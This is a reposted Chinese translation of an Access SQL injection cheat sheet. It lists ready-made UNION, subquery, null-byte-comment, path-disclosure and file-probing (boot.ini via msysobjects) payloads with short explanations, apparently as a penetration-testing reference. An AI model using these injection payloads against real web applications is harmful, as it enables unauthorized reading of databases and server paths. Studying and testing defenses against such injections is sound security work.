欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

Access SQL注入参考

程序员文章站 2022-05-02 13:04:51
...

本文记得要收藏哦: 本文记得要收藏哦: Access SQL 注入 参考 版本 0.2.1 (最近更新 10/10/2007) 恶魔傻蛋译 描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替: UNION SELECT 1,1,1

本文记得要收藏哦:

本文记得要收藏哦:

Access SQL注入参考

版本 0.2.1
(最近更新 10/10/2007)
恶魔傻蛋译

描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
  • UNION SELECT 1,1,1 FROM validTableName%00

语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
  • AND (SELECT TOP 1 someData FROM validTableName)%00
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
  • UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
  • AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
  • UNION SELECT web %2b app FROM validTableName%00 : 返回"webapp"

  • UNION SELECT web %26 app FROM validTableName%00 : 返回"webapp"
子字符串 MID()函数:
  • UNION SELECT MID(abcd,1,1) FROM validTableName%00 : 返回 "a"
  • UNION SELECT MID(abcd,2,1) FROM validTableName%00 : 返回 "b"
字符串长度 LEN()函数:
  • UNION SELECT LEN(1234) FROM validTableName%00 : 返回 4
暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
  • UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
取字符的ASCII值 ASC()函数:
  • UNION SELECT ASC(A) FROM ValidTable%00 :返回65 (A的ASCII值)
ASCII值转换为字符 CHR()函数:
  • UNION SELECT CHR(65) FROM validTableName%00 : 返回 A
IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
  • UNION SELECT IIF(1=1, a, b) FROM validTableName%00 : 返回 a
时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.
验证文件是否存在

注入的时候使用:

  • UNION SELECT name FROM msysobjects IN oot.ini%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.

表名猜解 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:

点击复制链接 与好友分享!回本站首页

分享到: 更多